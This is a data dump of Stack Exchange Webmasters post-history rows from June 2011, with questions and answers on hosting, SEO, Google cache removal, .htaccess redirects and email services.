  <row Id="36662" PostHistoryTypeId="2" PostId="15503" RevisionGUID="5992e5c9-7560-4bbf-b162-ba8395d32311" CreationDate="2011-06-17T16:47:37.463" UserId="4759" Text="You may be best setting yourself up with a VPS, rather than plunging for shared hosting. That way you can set it up exactly how you want. VPS's can be almost as cheap as decent shared hosting. It is a little more work to set up, but there are plenty of guides online." />
  <row Id="36663" PostHistoryTypeId="2" PostId="15504" RevisionGUID="e066e6b0-cd96-4376-adbc-6cbcc207e415" CreationDate="2011-06-17T16:50:57.197" UserId="7545" Text="Google Analytics does record the IP address of your visitors, but it uses Cookies to &quot;track&quot; vistors. &#xD;&#xA;&#xD;&#xA;If someone visited your site 10 times from a search results page from a search engine then they would be registered as 10 page views.&#xD;&#xA;&#xD;&#xA;How many visits it would be registered as would depend on the gap between the cilcks. By default, the cookie that &quot;times&quot; a visit in Google Analytics expires after 30 minutes - but each new click (pageview) resets that timer... &#xD;&#xA;&#xD;&#xA;What also happens is that the &quot;source&quot; and &quot;keywords&quot; for that visitor is update on each visit. So, if all 10 clicks where on the same day, the visitor would be attributed to the search term from the 10th (and last visit). &#xD;&#xA;&#xD;&#xA;This is a good explanation of visits, visitors, page views, clicks:&#xD;&#xA;http://www.google.com/support/analyticshelp/bin/answer.py?answer=1257084&#xD;&#xA;&#xD;&#xA;this is a good explanation of the various cookies: &#xD;&#xA;http://www.analyticsmarket.com/blog/google-analytics-cookies&#xD;&#xA;&#xD;&#xA;and this is an explanation of the attribution of trafic sources: &#xD;&#xA;http://beantin.se/post/420307062/traffic-sources-explained-understand-google-analytics&#xD;&#xA;" />
  <row Id="36664" PostHistoryTypeId="2" PostId="15505" RevisionGUID="9cdfa78c-8cb7-4980-b757-d0fac924c877" CreationDate="2011-06-17T16:51:09.070" UserId="7938" Text="I would suggest using https://www.mturk.com/mturk/welcome .. Make them use yahoo site explorer and copy the first 1,000 external links coming in (yahoo site explorer only shows the first 1,000)&#xD;&#xA;&#xD;&#xA;Secondly, you could purchase SEO SPY and put the URLs in manually.&#xD;&#xA;&#xD;&#xA;With Mechanical turk, your work could be done in 15 minutes.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="36665" PostHistoryTypeId="2" PostId="15506" RevisionGUID="7d4925a2-17f7-46ef-a9e2-047c578f8925" CreationDate="2011-06-17T17:31:54.887" UserId="8256" Text="As a website developer, I can tell you what really helps me (and my company) avoid miscommunications and delays that follow.&#xD;&#xA;&#xD;&#xA;1. Have a well defined project outline. If your needs are comprehensive, you need to show that you have thought it through very thoroughly. A serious website developer will know to avoid a project that is open-ended, and chances are good that a hungry freelancer will pick up your job instead and later regret it as it gets beyond what he thought he was signing onto. More information up front, using electronic documents (not scanned paper), will make your job very attractive.&#xD;&#xA;&#xD;&#xA;2. If you cannot provide mockups, point to several websites that have elements that you like. Do not point to one website and say &quot;copy them, they look great.&quot; A good designer should be able to incorporate ideas from the sites you point to without plagiarizing anything. The end result should be something that is unique to you without the additional overhead of describing your vision in words only.&#xD;&#xA;&#xD;&#xA;3. Have a budget in mind to go along with that well defined project outline. Most likely, your website developer will be telling you &quot;I cannot do all these features within your budget&quot; and will engage in dialog to help meet your needs. I cannot speak for everyone, but my company never targets a client's max budget. Instead we provide modular quotes that target a budget range, and the customer decides how far their money should go. It's generally a very bad idea to use your entire budget up front. Leave room to spare, because as your project evolves new expenses will be found. It will really strain the relationship between you and the developer(s) if you try to add new requirements without additional compensation, so be prepared--it will likely happen.&#xD;&#xA;&#xD;&#xA;4. Do not quote the project to death. Your developers will not forget that it took 20+ hours to quote the job. Suggestions 1-3 above will really help avoid that situation.&#xD;&#xA;&#xD;&#xA;That really isn't a complete list, but I hope it helps point you in the right direction. To summarize: Get your project specifications together, be serious about your project, have a reasonable budget, and you should be able to find a developer that can work well with you." />
  <row Id="36666" PostHistoryTypeId="2" PostId="15507" RevisionGUID="e7d2af6f-27c3-4509-839b-4011a0ff412d" CreationDate="2011-06-17T17:42:33.950" UserId="8360" Text="I am planning to host my collage project web site on any such free webhost, is it secure or are there any **disadvantages** or **risks** or security issues that i may experience if i go for **free web-hosting**? &#xD;&#xA;&#xD;&#xA;any inputs are appreciated! " />
  <row Id="36667" PostHistoryTypeId="1" PostId="15507" RevisionGUID="e7d2af6f-27c3-4509-839b-4011a0ff412d" CreationDate="2011-06-17T17:42:33.950" UserId="8360" Text="Are there any risks involved in Hosting your website on free webhosts?" />
  <row Id="36668" PostHistoryTypeId="3" PostId="15507" RevisionGUID="e7d2af6f-27c3-4509-839b-4011a0ff412d" CreationDate="2011-06-17T17:42:33.950" UserId="8360" Text="&lt;web-hosting&gt;&lt;web-security&gt;" />
  <row Id="36669" PostHistoryTypeId="17" PostId="15508" RevisionGUID="01256438-a2b0-41df-94b6-8c396c2813d3" CreationDate="2011-06-17T18:02:09.197" UserId="-1" Comment="from http://stackoverflow.com/questions/6373592/working-with-registration-form-and-paypal-in-joomla-1-5" Text="" />
  <row Id="36670" PostHistoryTypeId="2" PostId="15508" RevisionGUID="811c5074-4774-41e9-a2e4-384589fc26d1" CreationDate="2011-06-16T14:30:05.513" UserDisplayName="ramesh" Text="How can i redirect the registration form submission button to paypal activity and which paypal plugin is best for joomla 1.5 to do such activity?" />
  <row Id="36671" PostHistoryTypeId="1" PostId="15508" RevisionGUID="811c5074-4774-41e9-a2e4-384589fc26d1" CreationDate="2011-06-16T14:30:05.513" UserDisplayName="ramesh" Text="working with registration form and paypal in joomla 1.5" />
  <row Id="36672" PostHistoryTypeId="3" PostId="15508" RevisionGUID="811c5074-4774-41e9-a2e4-384589fc26d1" CreationDate="2011-06-16T14:30:05.513" UserDisplayName="ramesh" Text="&lt;joomla&gt;&lt;paypal&gt;&lt;embed&gt;&lt;registration&gt;" />
  <row Id="36673" PostHistoryTypeId="2" PostId="15509" RevisionGUID="942f38fa-df4e-423b-8117-3c24a4e9f929" CreationDate="2011-06-17T18:06:07.880" UserId="1953" Text="Since you mentioned the pages can be &quot;exponentially different&quot; you might want to consider using the &quot;follow, noindex&quot; meta tag, the different classifiers can provide Google with additional information about the product so it is potentially beneficial to let them know about the additional content even if you don't want it indexed (this can help for long tail queries). " />
  <row Id="36674" PostHistoryTypeId="2" PostId="15510" RevisionGUID="0618551c-66f5-4373-a48f-2bf0151abf3c" CreationDate="2011-06-17T18:07:35.353" UserId="5757" Text="I made a mistake with one of my sites and a whole bunch of data got picked up by Google before I caught it.  I need to fix this relatively fast by asking Google to drop the cached copy of the pages and then re-spider as they wish.  The URL would be something like:&#xD;&#xA;&#xD;&#xA;domain.com/memberprofile.php?member=XXXXXX&#xD;&#xA;&#xD;&#xA;Does anyone know if I can submit:&#xD;&#xA;&#xD;&#xA;domain.com/memberprofile.php?member=&lt;some wildcard character&gt;&#xD;&#xA;&#xD;&#xA;as a single request through webmaster tools?  If not, what are my other alternatives?&#xD;&#xA;" />
  <row Id="36675" PostHistoryTypeId="1" PostId="15510" RevisionGUID="0618551c-66f5-4373-a48f-2bf0151abf3c" CreationDate="2011-06-17T18:07:35.353" UserId="5757" Text="Can I de-list a URL from Google's Cache using a wildcard?" />
  <row Id="36676" PostHistoryTypeId="3" PostId="15510" RevisionGUID="0618551c-66f5-4373-a48f-2bf0151abf3c" CreationDate="2011-06-17T18:07:35.353" UserId="5757" Text="&lt;seo&gt;&lt;google&gt;&lt;google-webmaster-tools&gt;" />
  <row Id="36677" PostHistoryTypeId="2" PostId="15511" RevisionGUID="6a2909c6-aea0-4f69-bab5-8fecc6e728f9" CreationDate="2011-06-17T18:11:23.590" UserId="1953" Text="Have you checked out http://www.slideshare.net/ in addition to hosting presentations with the option to embed them in your site they have apps built-in to share on common social media sites (your client can add a presentations tab to their facebook account or embed them on Linkedin). They have free and paid options." />
  <row Id="36678" PostHistoryTypeId="2" PostId="15512" RevisionGUID="37ec9aaf-fa94-4e7f-9cc4-47366ab0c5f5" CreationDate="2011-06-17T18:16:29.033" UserId="1953" Text="Based on this &quot;After having implemented URL rewriting&quot; It sounds like you changed your URLs? I'd guess that had a bigger impact, especially if the old URLs return a 404." />
  <row Id="36679" PostHistoryTypeId="2" PostId="15513" RevisionGUID="7a54277f-e813-46ce-a6a8-3c4a3c6b08a1" CreationDate="2011-06-17T18:17:22.907" UserId="8378" Text="there could be many disadvantages such as:&#xD;&#xA;&#xD;&#xA; - Lack of Support &#xD;&#xA; - Low performance by servers compared to others &#xD;&#xA; - Lot of Advertising &#xD;&#xA; - Hidden Charges&#xD;&#xA; - Unreliable &#xD;&#xA; - Poor web security" />
  <row Id="36681" PostHistoryTypeId="25" PostId="15507" RevisionGUID="4369dbda-4d4d-4fd8-9404-60a1df153a0c" CreationDate="2011-06-17T18:24:29.657" Comment="http://twitter.com/#!/StackWebmasters/status/81789324676431872" />
  <row Id="36682" PostHistoryTypeId="2" PostId="15514" RevisionGUID="5a85adfc-45bf-4ef2-8a82-591a9465b97d" CreationDate="2011-06-17T18:33:46.893" UserId="8256" Text="I don't think you can delist with a wildcard. Plus a manual delist only lasts for 90 days. You would be better off making a correct robots.txt and letting Google reindex. They should drop your pages that are no longer meant to be crawled, but I don't know how quickly that will occur.&#xD;&#xA;&#xD;&#xA;See: https://www.google.com/support/webmasters/bin/answer.py?answer=156449&amp;hl=en&#xD;&#xA;&#xD;&#xA;You should also add the &quot;noindex&quot; meta tag to your memberprofile.php pages.&#xD;&#xA;&#xD;&#xA;See: https://www.google.com/support/webmasters/bin/answer.py?answer=93710" />
  <row Id="36683" PostHistoryTypeId="17" PostId="15515" RevisionGUID="200e25ac-a706-46c9-a401-8a945890e5f6" CreationDate="2011-06-17T18:50:07.063" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/16336/website-editor-control-for-wysiwyg-regions" Text="" />
  <row Id="36684" PostHistoryTypeId="2" PostId="15515" RevisionGUID="51ff131b-9782-4d37-800c-7f1087c812fe" CreationDate="2011-06-17T16:42:02.317" UserId="8156" Text="For lack of a better title, let me try to explain further:&#xD;&#xA;&#xD;&#xA;I'm looking for a control that will allow me to have a library of &quot;page elements&quot; (such as a list of employees, or a photo gallery, or a contact form, etc) that could be dragged onto the page canvas.&#xD;&#xA;&#xD;&#xA;The page canvas could have pre-set regions/boxes where these items could be drug into, preventing the user from screwing up the pages layout.&#xD;&#xA;&#xD;&#xA;I'm looking for any pre-built commercial (or open-source with commercial use allowed) tools available like this. " />
  <row Id="36685" PostHistoryTypeId="1" PostId="15515" RevisionGUID="51ff131b-9782-4d37-800c-7f1087c812fe" CreationDate="2011-06-17T16:42:02.317" UserId="8156" Text="Website Editor control for WYSIWYG/regions" />
  <row Id="36686" PostHistoryTypeId="3" PostId="15515" RevisionGUID="51ff131b-9782-4d37-800c-7f1087c812fe" CreationDate="2011-06-17T16:42:02.317" UserId="8156" Text="&lt;untagged&gt;" />
  <row Id="36687" PostHistoryTypeId="2" PostId="15516" RevisionGUID="4704ecf4-f1c0-4278-b823-38f318c001fd" CreationDate="2011-06-17T19:13:28.267" UserId="8380" Text="9grams,&#xD;&#xA;&#xD;&#xA;The first step is to determine why the database is so large. Though not impossible, it's extremely unlikely that it needs to be that large. There's probably some plugin inefficiently or unnecessarily storing data. If you're not sure what's going on, it may help to access phpMyAdmin, a database management tool, to see what table in the database is taking up so much space. This would help you identify if it's a specific plugin. If you don't know how, this help article explains how to access phpMyAdmin from your GoDaddy.com account: http://x.co/XpOk&#xD;&#xA;&#xD;&#xA;In my experience, it's often traffic statistics data that causes this problem. I have no way of knowing if that's the case for you, but if it is, I would recommend finding another solution for stats tracking and then removing the plugin and stats table that the plugin generated. There are many solutions out there which don't store the information in the database (including a service offered by Go Daddy), so you wouldn't have to sacrifice stats tracking, just find a new way to do it.&#xD;&#xA;&#xD;&#xA;Alon&#xD;&#xA;GoDaddy.com Social Media Team" />
  <row Id="36688" PostHistoryTypeId="5" PostId="15514" RevisionGUID="10a0e778-749b-41f4-8705-b3c21e456043" CreationDate="2011-06-17T19:13:50.947" UserId="8256" Comment="Added two more links" Text="I don't think you can delist with a wildcard. Plus a manual delist only lasts for 90 days. You would be better off making a correct robots.txt and letting Google reindex. They should drop your pages that are no longer meant to be crawled, but I don't know how quickly that will occur.&#xD;&#xA;&#xD;&#xA;See: https://www.google.com/support/webmasters/bin/answer.py?answer=156449&amp;hl=en&#xD;&#xA;&#xD;&#xA;You should also add the &quot;noindex&quot; meta tag to your memberprofile.php pages.&#xD;&#xA;&#xD;&#xA;See: https://www.google.com/support/webmasters/bin/answer.py?answer=93710&#xD;&#xA;&#xD;&#xA;**EDIT:** Did a little more digging...&#xD;&#xA;&#xD;&#xA;Instructing Google to drop just the cache, not the entire page, from the index.&#xD;&#xA;&#xD;&#xA;See: http://www.google.com/support/webmasters/bin/answer.py?answer=164734&#xD;&#xA;&#xD;&#xA;Proper URLs submitted mention nothing about wildcards, and the section about &quot;Multiple URLs&quot; says to submit each one separately. I don't think wildcards are supported, possibly by design.&#xD;&#xA;&#xD;&#xA;See: http://www.google.com/support/webmasters/bin/answer.py?answer=63758" />
  <row Id="36689" PostHistoryTypeId="4" PostId="15510" RevisionGUID="b555ad08-d0f2-4d24-86e6-b3a32a4c7552" CreationDate="2011-06-17T20:12:02.690" UserId="5757" Comment="edited title" Text="Can I drop a URL from Google's Cache using a wildcard?" />
  <row Id="36690" PostHistoryTypeId="4" PostId="15510" RevisionGUID="5d766b14-ffbd-4bc9-8a06-7bee3753959e" CreationDate="2011-06-17T20:17:04.170" UserId="5757" Comment="edited title" Text="Can I drop multiple URLs from Google's Cache using a wildcard in a query string?" />
  <row Id="36691" PostHistoryTypeId="2" PostId="15517" RevisionGUID="6309d7cb-3d52-48db-b90c-adfceabd6883" CreationDate="2011-06-17T20:17:14.123" UserId="8382" Text="My wife has a DotNetNuke website for her non-profit, and a that site has a &quot;Contact Us&quot; page. The &quot;Contact Us&quot; module only allows for the entry of a single email address as the recipient of the contact email.&#xD;&#xA;&#xD;&#xA;She would like to setup something like a &quot;help@mynonprofit.org&quot; type of email address, and then have any emails sent to that address automatically forwarded to a list/group of people in the organization, so that any one of those people can respond.&#xD;&#xA;&#xD;&#xA;My first thought was to setup something like a Yahoo Groups type of thing, but this organization deals with medical/patient issues and she is concerned about HIPAA and privacy issues caused by using a public group like that.&#xD;&#xA;&#xD;&#xA;It is possible that I could try and re-code the module for DNN, but that's a lot of work.&#xD;&#xA;&#xD;&#xA;Is there a technology or service to handle this type of thing?&#xD;&#xA;&#xD;&#xA;Thanks - Todd" />
  <row Id="36692" PostHistoryTypeId="1" PostId="15517" RevisionGUID="6309d7cb-3d52-48db-b90c-adfceabd6883" CreationDate="2011-06-17T20:17:14.123" UserId="8382" Text="How to forward email to a group from a single email address?" />
  <row Id="36693" PostHistoryTypeId="3" PostId="15517" RevisionGUID="6309d7cb-3d52-48db-b90c-adfceabd6883" CreationDate="2011-06-17T20:17:14.123" UserId="8382" Text="&lt;email&gt;&lt;bulk-email&gt;&lt;email-address&gt;" />
  <row Id="36694" PostHistoryTypeId="2" PostId="15518" RevisionGUID="cc36fb1e-d166-4cbb-9b63-66df430af4b7" CreationDate="2011-06-17T20:32:27.337" UserId="8383" Text="I have a website hosted by a company and would like to add another, separate, website to the same account. The company offers `2 hosted domains`, so does that mean this will be possible? I'm not sure what's meant by `2 hosted domains`. Does that mean I can have two websites or just two different domain names pointing at the one website? Thanks for any help." />
  <row Id="36695" PostHistoryTypeId="1" PostId="15518" RevisionGUID="cc36fb1e-d166-4cbb-9b63-66df430af4b7" CreationDate="2011-06-17T20:32:27.337" UserId="8383" Text="2 hosted domains = 2 websites?" />
  <row Id="36696" PostHistoryTypeId="3" PostId="15518" RevisionGUID="cc36fb1e-d166-4cbb-9b63-66df430af4b7" CreationDate="2011-06-17T20:32:27.337" UserId="8383" Text="&lt;domains&gt;&lt;web-hosting&gt;&lt;websites&gt;&lt;multiple-domains&gt;" />
  <row Id="36697" PostHistoryTypeId="2" PostId="15519" RevisionGUID="8257271b-a181-4374-a0a9-b9ab1fbf3f0d" CreationDate="2011-06-17T20:36:29.770" UserId="8384" Text="I was analyzing my webpage SEO using an online tool where I saw that my http status for my root domain name www.caliberequipment.com was resulting in a 301 redirect to www.caliberequipment.com/index.html&#xD;&#xA;&#xD;&#xA;I would much rather have my root domain returning a 200 result instead- but I set up my 301 redirects a long time ago and now I am note sure how to alter my code to resolve this.  I have noticed my website's main root domain disappearing from the SERPs (being replaced, in most cases, with a sub domain page) and I am afraid that this 301 redirect may be affecting my root domain's ability to rank.&#xD;&#xA;&#xD;&#xA;My .htaccess file begins with this code:&#xD;&#xA;&#xD;&#xA;Options +FollowSymLinks &#xD;&#xA;RewriteEngine on &#xD;&#xA;RewriteCond %{HTTP_HOST} ^caliberequipment.com [NC] &#xD;&#xA;RewriteRule ^(.*)$ http://www.caliberequipment.com/$1 [L,R=301]&#xD;&#xA;&#xD;&#xA;Followed by my individual redirects.&#xD;&#xA;&#xD;&#xA;My index.html page includes the code:&#xD;&#xA;&#xD;&#xA;link rel=&quot;canonical&quot; href=&quot;http://www.caliberequipment.com&quot;  &#xD;&#xA;&#xD;&#xA;And I have google webmaster tools set up to have any instances of non-www pages show up as their www version instead.&#xD;&#xA;&#xD;&#xA;Is any of this code redundant?  What should I change in order to get a http 200 result for my root T_T" />
  <row Id="36698" PostHistoryTypeId="1" PostId="15519" RevisionGUID="8257271b-a181-4374-a0a9-b9ab1fbf3f0d" CreationDate="2011-06-17T20:36:29.770" UserId="8384" Text="My root domain is returning a 301 Redirect - Will this affect SEO?" />
  <row Id="36699" PostHistoryTypeId="3" PostId="15519" RevisionGUID="8257271b-a181-4374-a0a9-b9ab1fbf3f0d" CreationDate="2011-06-17T20:36:29.770" UserId="8384" Text="&lt;seo&gt;&lt;redirects&gt;&lt;301-redirect&gt;" />
  <row Id="36700" PostHistoryTypeId="5" PostId="15519" RevisionGUID="bdc0cf8f-4cc7-4dc9-8edc-64cdaf803047" CreationDate="2011-06-17T20:38:52.050" UserId="1253" Comment="formatted code" Text="I was analyzing my webpage SEO using an online tool where I saw that my http status for my root domain name www.caliberequipment.com was resulting in a 301 redirect to www.caliberequipment.com/index.html&#xD;&#xA;&#xD;&#xA;I would much rather have my root domain returning a 200 result instead- but I set up my 301 redirects a long time ago and now I am note sure how to alter my code to resolve this.  I have noticed my website's main root domain disappearing from the SERPs (being replaced, in most cases, with a sub domain page) and I am afraid that this 301 redirect may be affecting my root domain's ability to rank.&#xD;&#xA;&#xD;&#xA;My .htaccess file begins with this code:&#xD;&#xA;&#xD;&#xA;    Options +FollowSymLinks &#xD;&#xA;    RewriteEngine on &#xD;&#xA;    RewriteCond %{HTTP_HOST} ^caliberequipment.com [NC] &#xD;&#xA;    RewriteRule ^(.*)$ http://www.caliberequipment.com/$1 [L,R=301]&#xD;&#xA;&#xD;&#xA;Followed by my individual redirects.&#xD;&#xA;&#xD;&#xA;My index.html page includes the code:&#xD;&#xA;&#xD;&#xA;    &lt;link rel=&quot;canonical&quot; href=&quot;http://www.caliberequipment.com&quot;&gt;  &#xD;&#xA;&#xD;&#xA;And I have google webmaster tools set up to have any instances of non-www pages show up as their www version instead.&#xD;&#xA;&#xD;&#xA;Is any of this code redundant?  What should I change in order to get a http 200 result for my root?" />
  <row Id="36701" PostHistoryTypeId="2" PostId="15520" RevisionGUID="686a7e80-4784-4870-8f2e-534e15582e9f" CreationDate="2011-06-17T21:13:53.453" UserId="8163" Text="Two hosted domains would be two separate websites." />
  <row Id="36702" PostHistoryTypeId="2" PostId="15521" RevisionGUID="8beb22c2-4541-49c2-9b00-0b1f951053d0" CreationDate="2011-06-17T21:16:52.917" UserId="8354" Text="    RewriteRule ^$ /index.html [L]&#xD;&#xA;&#xD;&#xA;This will tell Apache to treat the hit to the `yoursite.com` as hit to `yoursite.com/index.html` without redirecting (URL stays the same).&#xD;&#xA;&#xD;&#xA;The code you already have (last 2 lines) tells Apache to redirect not www-prefixed url to one with www in front (e.g. `http://yourdomain.com/somepage.html` =&gt; `http://www.yourdomain.com/somepage.html`)." />
  <row Id="36703" PostHistoryTypeId="2" PostId="15522" RevisionGUID="8b8fd012-cffb-45bb-9ded-90565d360f1e" CreationDate="2011-06-17T21:17:38.363" UserId="8386" Text="I am creating a system where it depends heavily on alerting users through email. I was wondering if it's a better choice to sign up to googles businesss gmail account. &#xD;&#xA;&#xD;&#xA;Would this give me a better result from preventing my emails from being bounced ? &#xD;&#xA;or should I not bother and go down the traditional path and setup a mail server on my box?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="36704" PostHistoryTypeId="1" PostId="15522" RevisionGUID="8b8fd012-cffb-45bb-9ded-90565d360f1e" CreationDate="2011-06-17T21:17:38.363" UserId="8386" Text="System depends heavily on emails - use gmail ?" />
  <row Id="36705" PostHistoryTypeId="3" PostId="15522" RevisionGUID="8b8fd012-cffb-45bb-9ded-90565d360f1e" CreationDate="2011-06-17T21:17:38.363" UserId="8386" Text="&lt;email&gt;&lt;bulk-email&gt;&lt;gmail&gt;" />
  <row Id="36706" PostHistoryTypeId="25" PostId="15510" RevisionGUID="b8df9ef8-56c9-4dd6-8f41-c2ab617305f7" CreationDate="2011-06-17T21:24:31.403" Comment="http://twitter.com/#!/StackWebmasters/status/81834630759710720" />
  <row Id="36707" PostHistoryTypeId="2" PostId="15523" RevisionGUID="2eb80021-d196-44ac-a44a-d76d57f6371d" CreationDate="2011-06-17T22:04:29.317" UserId="4759" Text="Mail server on your own box. That way you control it end to end. Make sure you have your email servers set up properly, don't put trigger words in the emails - like viagara - and have your users whitelist the email address.&#xD;&#xA;&#xD;&#xA;Typically if you aren't sending spam, you shouldn't have a problem.&#xD;&#xA;&#xD;&#xA;Google are notorious for not having much support when you need it." />
  <row Id="36708" PostHistoryTypeId="2" PostId="15524" RevisionGUID="ae930533-7074-4a4d-adbd-4c1a76b40e0c" CreationDate="2011-06-17T22:05:56.523" UserId="4759" Text="Most control panels have an option to set up mail forwarding to lists. Check there first, or if in doubt, contact your web host." />
  <row Id="36709" PostHistoryTypeId="25" PostId="15522" RevisionGUID="ac98dc70-be6d-4ad4-bdc8-25de1e767098" CreationDate="2011-06-18T00:24:31.590" Comment="http://twitter.com/#!/StackWebmasters/status/81879930589282305" />
  <row Id="36710" PostHistoryTypeId="2" PostId="15525" RevisionGUID="5eb498c6-f857-452c-9bef-166b5a628b05" CreationDate="2011-06-18T00:30:21.497" UserId="4502" Text="&lt;blockquote&gt;Finding out the name of the hosting company and then checking if the company offers SQL databases would be one way to do it&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;Honestly, I'd personally just let this be *the* way to to it. Unless you can provide some more reason why it shouldn't be.  &#xD;&#xA;&#xD;&#xA;I think your question is overly limiting. Sure, you might come away with knowing how to check if you're allowed to create databases, but there are plenty of other things you might also need to know, like what version of PHP(or some other language) is installed, whether those languages have whatever extension available, whether there's a usable mail server in place, and so on. Why collect a bunch of little abstract tests like this rather than just asking &quot;Who's your host?&quot; and then finding out what you need?&#xD;&#xA;&#xD;&#xA;You say that these clients may not even know who their host is, but if you're setting client criteria this just shouldn't be acceptable. Follow it through: what if something goes wrong? You're going to wait until then to figure out who needs to be talked to? Make them figure this out up front, so that at least *you* know. " />
  <row Id="36711" PostHistoryTypeId="2" PostId="15526" RevisionGUID="cd283845-68e0-4c62-9fad-56f86d9f6f25" CreationDate="2011-06-18T00:49:56.253" UserId="8346" Text="I am preparing to have my web application in a private beta.  The application when fully live will have a lot more content than in beta. Currently our plan is to release it to limited users with limited content to ensure that all the business functions are working fine.&#xD;&#xA;&#xD;&#xA;We plan to use Google to power the search within the application. My question is will there be any negative impact in future (in terms of page rank or reputation) if we let Google crawl it in its present state? Or should we wait till it is fully functional to let Google crawl it." />
  <row Id="36712" PostHistoryTypeId="1" PostId="15526" RevisionGUID="cd283845-68e0-4c62-9fad-56f86d9f6f25" CreationDate="2011-06-18T00:49:56.253" UserId="8346" Text="Google crawl on uncompleted site" />
  <row Id="36713" PostHistoryTypeId="3" PostId="15526" RevisionGUID="cd283845-68e0-4c62-9fad-56f86d9f6f25" CreationDate="2011-06-18T00:49:56.253" UserId="8346" Text="&lt;search-engines&gt;&lt;google-search&gt;" />
  <row Id="36714" PostHistoryTypeId="2" PostId="15527" RevisionGUID="4b17ee0c-e249-4bf6-ab6b-8a48af5147f7" CreationDate="2011-06-18T01:01:02.257" UserId="1253" Text="That's perfectly fine. All you're doing is adding content to your site which is what most sites do every day. A perfect example of that is this page right here. By asking this question and by me answering it we're creating new content for this site. So letting Google find your site with less content then you plan on ultimately having is common and normal. Google will keep coming back to find new content so it can index it and hopefully rank it well." />
  <row Id="36715" PostHistoryTypeId="2" PostId="15528" RevisionGUID="965e1d55-d7f5-47e5-a588-8fc8c658574b" CreationDate="2011-06-18T02:40:14.990" UserId="8387" Text="I would like to dispatch certain emails to users that sign up for my email communications at a fixed timeframe. For example, send email A after 7 days of signing up, email B after 21 days, etc. (assuming they don't unsubscribe). Are there email marketing services that can accommodate this?&#xD;&#xA;" />
  <row Id="36716" PostHistoryTypeId="1" PostId="15528" RevisionGUID="965e1d55-d7f5-47e5-a588-8fc8c658574b" CreationDate="2011-06-18T02:40:14.990" UserId="8387" Text="Email marketing service with delayed sending?" />
  <row Id="36717" PostHistoryTypeId="3" PostId="15528" RevisionGUID="965e1d55-d7f5-47e5-a588-8fc8c658574b" CreationDate="2011-06-18T02:40:14.990" UserId="8387" Text="&lt;email&gt;&lt;marketing&gt;" />
  <row Id="36718" PostHistoryTypeId="2" PostId="15529" RevisionGUID="1f194396-f61c-45ea-bb1c-c6de14ab5dec" CreationDate="2011-06-18T03:13:11.527" UserId="4502" Text="&lt;a href=&quot;http://mailchimp.com/features/autoresponders/&quot;&gt;MailChimp can do this&lt;/a&gt;. You can sort of see it in the first screenshot image there.&#xD;&#xA;&#xD;&#xA;Additionally, if your subscription form has any date-based custom fields, you can use those as the basis for automated scheduled messages, like a &quot;happy birthday&quot; note(assuming you collect birthdays, obviously)." />
  <row Id="36719" PostHistoryTypeId="25" PostId="15526" RevisionGUID="0368cef0-f274-4407-ad8f-5414d95faec8" CreationDate="2011-06-18T03:24:31.730" Comment="http://twitter.com/#!/StackWebmasters/status/81925229391261696" />
  <row Id="36720" PostHistoryTypeId="25" PostId="15528" RevisionGUID="cc7fadb8-5d9e-455c-9164-7dc9829a2e13" CreationDate="2011-06-18T06:24:32.027" Comment="http://twitter.com/#!/StackWebmasters/status/81970528784617472" />
  <row Id="36721" PostHistoryTypeId="2" PostId="15530" RevisionGUID="d3d4b220-ace5-4e53-a14d-d969ebf2230b" CreationDate="2011-06-18T08:49:02.823" UserId="8390" Text="I have recently made a simple website called fullreservebanking.com. The most important key phrase that I want to capture is (of course) &quot;full reserve banking&quot;. Currently, if I type &quot;full reserve banking&quot; (without quotes) into google, then my site appears as the 7th item on the first page. I am reasonably happy with this as the site is so new. But One frustration is that the text that google displays in relation to my site is rather disappointing. The main message I would like to get across is that my site is &quot;A collection of resources for anyone interested in this alternative monetary system.&quot; and I have this as the first line of text on the page. Unfortunately, this important sentence is nowhere to be seen in the google search result. So my question is - is there anything I can do to fix this error?&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA; " />
  <row Id="36722" PostHistoryTypeId="1" PostId="15530" RevisionGUID="d3d4b220-ace5-4e53-a14d-d969ebf2230b" CreationDate="2011-06-18T08:49:02.823" UserId="8390" Text="Controlling text that appears in google search results" />
  <row Id="36723" PostHistoryTypeId="3" PostId="15530" RevisionGUID="d3d4b220-ace5-4e53-a14d-d969ebf2230b" CreationDate="2011-06-18T08:49:02.823" UserId="8390" Text="&lt;google-search&gt;" />
  <row Id="36724" PostHistoryTypeId="5" PostId="15530" RevisionGUID="ca213836-e1f6-446b-a832-d4d4178c9f8c" CreationDate="2011-06-18T09:01:57.970" UserId="8390" Comment="deleted 3 characters in body" Text="I have recently made a simple website called fullreservebanking.com. The most important key phrase that I want to capture is (of course) &quot;full reserve banking&quot;. Currently, if I type &quot;full reserve banking&quot; (without quotes) into google, then my site appears as the 7th item on the first page. I am reasonably happy with this as the site is so new. But one frustration is that the text that google displays in relation to my site is rather misleading. The main message I would like to get across is that my site is &quot;A collection of resources for anyone interested in this alternative monetary system.&quot; and I have this as the first line of text on the page. Unfortunately, this important sentence is nowhere to be seen in the google search result. So my question is - is there anything I can do to fix this error?&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA; " />
  <row Id="36725" PostHistoryTypeId="2" PostId="15531" RevisionGUID="a1b8f75f-e68b-4722-9607-f1de93efd1c1" CreationDate="2011-06-18T09:12:21.623" UserId="4502" Text="I did a search for that phrase, and your site comes up with &quot;Full Reserve Banking&quot; as both title and snippet. I'll assume this is what you're referring to.&#xD;&#xA;&#xD;&#xA;You can suggest what to show for the snippet by providing a meta description tag. Here's &lt;a href=&quot;http://www.google.com/support/webmasters/bin/answer.py?answer=35264#2&quot;&gt;Google's own documentation&lt;/a&gt; on that. It's important to keep in mind this is a *suggestion*, however. Sometimes Google will use an excerpt from the actual page content instead; there's not much you can do about that.&#xD;&#xA;&#xD;&#xA;As to your immediate situation, that's easily explained. You *are* providing a meta description already, and it's set to what you're seeing. Basically: Google are showing exactly what you're telling them to. Whether you were aware of that or did it intentionally, I can't speculate." />
  <row Id="36726" PostHistoryTypeId="25" PostId="15530" RevisionGUID="4bc2d24e-4115-46e5-bb17-52b063046a0e" CreationDate="2011-06-18T09:24:31.967" Comment="http://twitter.com/#!/StackWebmasters/status/82015827959885825" />
